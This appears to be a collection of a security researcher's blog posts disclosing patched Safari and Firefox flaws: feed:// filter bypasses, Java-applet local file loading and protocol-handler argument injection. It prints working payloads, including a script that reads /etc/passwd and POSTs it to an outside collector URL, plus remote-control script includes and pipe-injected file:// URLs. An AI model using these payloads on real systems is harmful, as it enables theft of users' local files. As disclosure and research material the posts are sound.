Safari 3.2.2 Feed Protocol Handler Issues

A few weeks ago, Apple released a patch for their Safari browser.  The patch included a fix for a RSS feed handling vulnerability I had reported to them a while back.  The advisory can be found here.  This particular vulnerability is actually a variation of a previous RSS feed handling vulnerability I had reported to Apple earlier in the year.  The details of the original vulnerability can be found here.  Once PoC for the original bug was made public, a researcher named Alfredo Melloni contacted me about some additional weaknesses in Safari's feed handling.  Here’s what we ended up with:

Safari can consume various RSS feeds for video content and music from iTunes.  These RSS feeds contained information for each item on iTunes  including ID, title, summary, and links to download the content.  The RSS feed file looked something like this:

<?xml version="1.0" encoding="utf-8"?>
…
<entry>
<updated>2009-02-16T05:17:15-07:00</updated>
<id>http://itunes.apple.com/WebObjects/MZStore.woa/wa/viewTVSeason?i=305318825&amp;id=287463411&amp;s=143441</id>
<title>No Exit - Battlestar Galactica (&#39;04)</title>
<summary>On the Cylon baseship, Cavil confronts the last member of the Final Five.</summary>
<im:name>No Exit</im:name>
<link rel="alternate" type="text/html" href="http://www.google.com" />
<im:contentType term="TV Show" label="TV Show"><im:contentType term="TV Episode" label="TV Episode"/></im:contentType>
<category term="Sci Fi &amp; Fantasy" scheme="scheme"/>
…
</entry>
</feed>

Safari has some routines to sanitize and encode data in order to prevent the execution of user controlled JavaScript under the feed:// protocol handler.  As you may remember from my previous post, JavaScript executed under the feed protocol handler is privileged and is granted access to the local file system.   Alfredo discovered a way to bypass the built in filters for the feed protocol handler, allowing us to inject user controlled JavaScript.  The specific issue here involves the attacker controlled content provided to the "Summary" tags within the RSS feed file.  It seems that the content provided to the summary tag was missed by the encoding routines built into Safari.  We simply place Script tags within the summary tags and serve the file from our own server.

…

<title>No Exit - Battlestar Galactica (&#39;04)</title>
<summary>On the Cylon baseship, Cavil confronts the last member of the Final Five.<script>alert(1)</script></summary>
<im:name>No Exit</im:name>
…

Which is converted to HTML by Safari and rendered under feed://  as:

…
<div class="apple-rss-author" title="iTunes Store">iTunes Store</div>

<div class="apple-rss-summary" >On the Cylon baseship, Cavil confronts the last member of the Final Five.<script>alert(1)</script></div>

<div class="apple-rss-date" title="Feb 16, 4:17 AM">Feb 16, 4:17 AM</div>
…

Since alert boxes are lame, below is a payload to steal the /etc/passwd file from a Mac running vulnerable versions of Safari (<3.2.2):

<summary>On the Cylon baseship, Cavil confronts the last member of the Final Five.
<script>
var contents;
var req;
req = new XMLHttpRequest();
req.onreadystatechange = processReqChange;
req.open('GET', 'file:///etc/passwd', true);
req.send('');

function processReqChange() {
if (req.readyState == 4) {
contents = req.responseText;
sendit2XSSniper(contents);
}
}
function sendit2XSSniper(stuff){
var req2;
req2 = new XMLHttpRequest();
req2.open('POST', 'http://xs-sniper.com/sniperscope/catcher.php', true);
req2.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
req2.send('filename=etcpasswd&filecontents='+escape(stuff));
}
</script>
</summary>

This flaw affected Safari 3.2.2 and certain versions of Safari 4 Beta.  Both Windows and Mac systems were affected.  Proof of concept can be found here (PoC, displays /etc/passwd or boot.ini in an alert box).  On Windows systems, the encoding and sanitization routines for feed:// are held in pubsub.dll :)  Happy hunting!

BK

Stealing More Files with Safari

Apple recently patched a vulnerability in Safari’s RSS feed handling mechanisms I reported to them.  The advisory for Safari on OS X can be found here and the Safari for Windows advisory can be found here.  As always, Apple was excellent in their handling of the issue.  Two other researchers reported this same vulnerability to Apple (Clint Ruoho of Laconic Security and Brian Mastenbrook). Clint or Brian, let me know if either of you are planning on attending CanSec this year, I'll buy you guys a couple beers.

Both Safari for OS X and Windows platforms were affected by this vulnerability (my precious iPhone was not affected). The vulnerability ultimately resulted in Remote Command Execution for both systems, making it a serious/critical issue for Safari users. There may be a technique to reach this vulnerability if you’re using a different browser on OS X, so even if Safari isn’t your default browser on OS X, I would recommend you grab the patch anyway :)

When I reported this issue to Apple, I reported it as a “File Stealing” vulnerability, which gave a remote attacker the ability to steal arbitrary files off the user’s file system. So, if you were using Safari and browsed to the wrong page (or fell victim to an XSS attack), an attacker had the ability to steal all of files from your local file system… ouch! Since the issue is patched, let’s look at how an attacker could steal some files using Safari… (RCE will be left as an exercise for the reader)

First, let’s take a look at Safari’s RSS feed handling mechanisms. Safari for both OS X and Windows supports the handling of RSS files through the Feed:// protocol handler. For example, if you wanted to view the feed for this blog in Safari, you could simply enter the following into the address bar:

feed://http://xs-sniper.com/blog/feed/



RSS files are basically XML files that contain content that can be rendered by RSS readers.  In this case, the attacker controls the entire XML file. The XML file I started with followed the standard used by most blogs. The most interesting XML tags were the tags that held blog post content:

<content:encoded><![CDATA[ .... ></content:encoded>

It seems that Apple understood the dangers of taking in and rendering un-trusted RSS feeds and actually implemented a filtering routine in an attempt to filter dangerous content. In my attempts to defeat the filtering routine, I tried several different payload combinations, most of which were focused on the “content:encoded” tag; some of my payloads were HTML encoded before being displayed in the browser, other combinations resulted in tags and characters being stripped out completely. Eventually, I discovered a combination that would allow for the execution of script in the context of feed://

<content:encoded><![CDATA[
<body src=”http://xs-sniper.com/images/React-Team-Leader.JPG” onload=”javascript:alert('xss’);”“<onload=””
]]>
</content:encoded>

Which resulted in the following being rendered by Safari:

….
<div class="apple-rss-article-body">
<body src=”http://xs-sniper.com/images/React-Team-Leader.JPG” onload=”javascript:alert(‘xss’);”>
<onload></onload>
</body>
<!-- end articlebody --></div
….

As you can see, Safari's filtering routines have stripped out some characters and added some characters as well.  Despite the filtering, the HTML is valid and we now have script execution in the context of feed://.  Safari grants script executed within the context of feed:// access to the local file system, so from here I changed the “alert(‘xss’);” to an XMLHTTPRequest Object.

<body src="http://xs-sniper.com/images/React-Team-Leader.JPG" onload="javascript:alert('loading /etc/passwd into javascript');var req;req = new XMLHttpRequest();req.onreadystatechange = processReqChange;req.open('GET', 'file:////etc/passwd', true);req.send('');function processReqChange() {if (req.readyState == 4) {alert(req.responseText); }}" <onload=""

Proof of concept can be found here.

http://xs-sniper.com/sniperscope/Safari/feed-protocol/feed-sploit.php

The php script scans the UserAgent and determines whether you are using Safari on Windows or Safari on Mac OS X. If you happen to be on Mac OS X, the PoC will displays your /etc/passwd file in a JavaScript alert box. If you are on a Windows machine the PoC will display c:\windows\win.ini in a JavaScript alert box. Once the file contents are placed into a JavaScript object, getting the file contents back to the attacker is easily accomplished.  For large files, an attacker can even use a dynamically generated FORM and POST the contents back to the attacker server. An attacker could also use this vulnerability to establish a dynamic remote control channel by injecting a "<script src=http://XS-Sniper's-IP-Address/dynamic.js>" (XS-Sniper is the name of my XSS proxy), giving the attacker more control over the JavaScript executed by the victim.

I'm very interested in vulnerabilities like this.  We (the security industry) have developed an extensive toolset to detect memory access violations, but we're lacking in tools to detect boundary violations of this sort.  Memory corruption (IMHO) remains the holy grail of exploitation, but as memory corruption vulnerabilities become increasing difficult to exploit, it may be beneficial to develop tools and techniques to detect boundary violations such as this one.

Stealing Files with Safari

Apple recently patched a vulnerability Nitesh "Leisure Suit" Dhanjani and I reported to them last week (CVE-2008-4216).  We had reported a similar vulnerability to Apple about two months ago (CVE-2008-3638).  In fact, the exploitation technique was so similar we held off releasing details until this 2nd patch was released.

The basic gist of this vulnerability pits a browser and a browser plug-in against each other in order to cross a subtle, but important boundary.  The issue starts simply enough with a victim visiting an attackers webpage.  Once on the attacker’s webpage, the attacker simply loads a Java Applet.  Inside of the applet is a call to getAppletContext().showDocument(URL);



getAppletContext().showDocument(URL) basically has the browser open a new browser window with the URL passed to showDocument().  Normally, browsers will not let remote sites open new browser windows which point to local files.  It seemed that Safari had some issues determining the specific  “rights” for windows opened via Java Applets and allowed getAppletContext().showDocument() to force the browser to open a file from the user’s local file system. 

Now here is where things get interesting…  Opening a local file in the browser isn’t very useful unless we can open and render/execute content that we control.  There are a couple ways plant our content in a predictable location using Safari.  Safari, by default has a reasonably predictable location for cached/temporary files.  We can use these predictable locations to load our content, we’ll have some guessing to do, but it works…  Safari can also be forced to dump user controlled contents to the “c:\temp” directory (in Windows, of course), which makes thing far more predictable making the attack a lot less noisy.  I’m not sure if Apple considers the “c:\temp” issue a bug, but just in case they do I won’t go over the details for the “c:\temp” trick just yet.

In case you’re wondering, Internet Explorer and FireFox use a random, 8 character directory name to prevent guessing of temporary file locations.

Once we’ve planted our contents to a predictable location, it’s now simply a matter of having the Java Applet call the file we’ve planted.  We have unlimited guesses to get the location and file name right, but the more guesses the more noisy the attack (obviously).  The file we’ve planted is an HTML file which loads an XMLHTTP object, which is used to steal files from the local file system.  You can include a <script src=”http://attacker-server/remote-control.js></script> if you want to remotely control the script running on the local file system.  Safari allows script to be executed from local files without warning, so once we get the right location and filename for our planted HTML file, files can be stolen off the local file system without user interaction or warnings.



Internet Explorer presents a warning before executing script from local files and FireFox (as of FireFox3) restricts XMLHTTP loaded from the local file system to the directory the html file was loaded from (and  any subdirectories).



Once we have the contents of the file in JavaScript space, we simple encode the contents and POST the contents to our attacker web server.  There you go... Stealing Files with Safari!

A Look at MFSA 2008-35

As promised... a quick look at MFSA2008-35: 

 

When FireFox is installed, it registers the following protocol handlers:

• Gopher://


• FirefoxURL://

Note, Firefox3 no longer registers the Gopher protocol handler, which is a great security decision.

 

Both of these protocol handlers point to Firefox.exe in the following manner:

• "C:\Program Files\Mozilla Firefox\firefox.exe" -requestPending -osint -url "%1"

When Gopher:// or FirefoxURL:// are called, the arguments are passed to the “%1” portion in the string shown above.  For example, gopher://test will result in the following: 

• "C:\Program Files\Mozilla Firefox\firefox.exe" -requestPending -osint -url "gopher://test"

Knowing that we have absolute control over the –url argument being passed to Firefox.exe, we can use the “|” character to pass multiple, arbitrary URLs to the –url argument.  Firefox has protections against remote web pages from redirecting to file:// and chrome:// content, but in this instance we are passing the URLs via protocol handler.  When arguments are passed via protocol handler, it’s essentially as if we are passing the –url argument to firefox.exe via the command line.  So, thanks to the protocol handlers the file:// and chrome:// restrictions can be bypassed.  This is done in the following manner:

• gopher:test|file:c:/path/filename


• gopher:test|chrome://browser/content/browser.xul

Note – It is also possible to pass “javascript://” URIs to Firefox.exe, but javascript URIs passed via the command line will be loaded in the context of about:blank.  This is a great security decision on behalf of Mozilla and saved them from having a standalone sploit.

 

Now that we have the ability to load local content via the protocol handlers registered by Firefox, we must now find a way to plant the attacker controlled content to a known location.  There are a couple ways to plant attacker controlled content to a known location, but I’ll keep it simple (and responsible) and use the recently patched Safari “Carpet Bomb” attack as an example.  When Safari encountered an unknown content type, it would download the content of the file to the user’s desktop.  This gives us a semi known location, as we’ll have to guess the username.  We can send a LOT of guesses for username as demonstrated below. 

• <html><body><iframe src="gopher:file:c:/path/filename|file:c:/path/ filename2|file:c:/path/ filename3....>

There are other methods that don’t involve guessing the username, but I won’t go into that (remember, it’s the kinder, gentler BK!).

 

So, if a user is browsing the web with Safari and has Firefox installed, I could plant a HTML file with javascript (XMLHTTP) onto the user’s desktop.  Once the content is planted, I can launch the gopher:// protocol handler (gopher is launched by Safari without user consent) and point Firefox.exe to the local content.  When Firefox loads the local content, the XMLHTTP request has access to the entire user file system (as the script was loaded from the local file system). 

 

Firefox3 has implemented security measures to prevent arbitrary file access and limits the XMLHTTP request to the currently loaded directory (and possibly subdirs?), which is a great security decision. 

 

On a side note, IE warns users when active script is about to be run from the local file system.  I believe the IE warning message states, “you are about to do something REALLY stupid… do you wish to continue?” … or something like that.  This is a great security decision on behalf of IE.

 

 

 

The scenario presented above demonstrates how someone with Safari and FireFox installed could get their files stolen, but Mozilla understood that the behavior of their software could be abused by other software (not just Safari), just as Apple understood that dropping files to a user’s desktop (without consent) could be abused by other software as well (not just IE or Firefox).  Both vendors did what was right and adjusted the behavior of their software.  Thanks Mozilla and Apple!

 

These types of issues interest me because it represents the difficulties in securing real life systems, systems that have software from multiple vendors interacting with each other, depending on each other to make the right security decisions.  In isolation, these issues may not be of any concern, but together they create a situation where the security measures of one piece of software is bypassed because of the seemingly innocuous/insecure/stupid behavior of another, seemingly unrelated piece of software.  From what I understand, Mark Dowd and Alexander Sotirov plan to give some INSANE examples of this at Blackhat…  I’m looking forward to the talk!

Clarification for "BK on Safari, hunting Firefox…"

Is Safari 3.12 affected by the vulnerability you mention in, BK on Safari, hunting Firefox?  The “carpet bomb” behavior COULD have been used in conjunction with Firefox to steal user files.  This specific scenario has been patched.

 

Can an attacker use other, non-obvious ways to abuse the Safari (3.12)/Firefox interaction to steal files from the local file system?  Yes, I know of three separate methods to accomplish this (Firefox 3 lessens the risk).  Vendors have been informed and no details will be provided to the public.  Don’t ask for additional details, I won’t give them until all this is straightened out.  

 

Whose fault is this?  That’s the whole point of the post.  We have interaction between different software from different vendors.  In isolation, the behaviors that are being abused here are not a high risk.  It’s only when you combine the behaviors does it constitute a risk.  Who should we blame?  I don’t know, I don’t think anyone really knows… lots of people have their opinions though. :)

 

 

 

BK on Safari, hunting Firefox...

Apple released a patch for their “Carpet Bomb” issue today.  I’m glad to see that Apple took steps to protect their users.  Kudos to the Apple Security team!   

 

There was a lot of discussion about how this behavior could be used in a “blended” attack with IE, but Safari’s behavior affected more than just IE. In fact, I’ve discovered a way to use the Safari’s carpet bomb in conjunction with Firefox to steal user files from the local file system.  Even though Apple has patched the carpet bomb, I’m not going to go into details as the issue is not patched and the behavior may be replicated via other means (it’s the kinder, gentler BK).  I’m also happy to say that some of the improved security features in Firefox 3 help lower (but do not eliminate) the impact of the issue (Firefox 2 users could still be at risk of arbitrary file pwnage). Mozilla is working on the issue and they’ve got a responsive team, so I’m sure we’ll see a fix soon. 

 

• UNREALTED NOTE TO MOZILLA:  Firefox 3 shouldn’t FORCE itself to be my default browser after I install it (YES, I unchecked the default browser checkbox during install)

 

Now, these types of vulnerabilities are a perfect example of how the all the software and systems we use are part of a giant ecosystem.  Whether we like it or not, the various parts of the ecosystem are intertwined with each other, depending on each other.  When one piece of the ecosystem gets out of line, it can have a dramatic effect on the ecosystem as a whole.  A small vulnerability or even an “annoying” behavior from one piece of software could alter the behavior of 2nd piece of software, which a 3rd piece of software is depending on for a security decision (The recent pwn2own browser -> java -> flash pwnage is a great example of this).  As the ecosystem grows via plugins, functionality, and new software, so does the attack surface.  Eventually, the interactions between systems and software become a gigantic mesh and the attack surface becomes almost infinite.

 

Now, a lot of people have criticized Apple for their inability to see the carpet bombing behavior as a security issue.  If Apple looked at their product (Safari) in isolation, maybe it wasn’t a high risk security issue to them and it was really more of an annoyance… its only when you look at the ecosystem as a whole do we start to see the security implications of this behavior.  Should we have expected Apple to threat model the risks of this behavior against their own products AND other third party products as well?  Can we reasonably expect them (or anyone) to have the requisite knowledge to truly understand how certain behavior will affect the ecosystem? 

 

This brings us to a pressing question.  In the "real world", users install products from multiple vendors.  Whose responsibility is it to examine the interaction between all these products?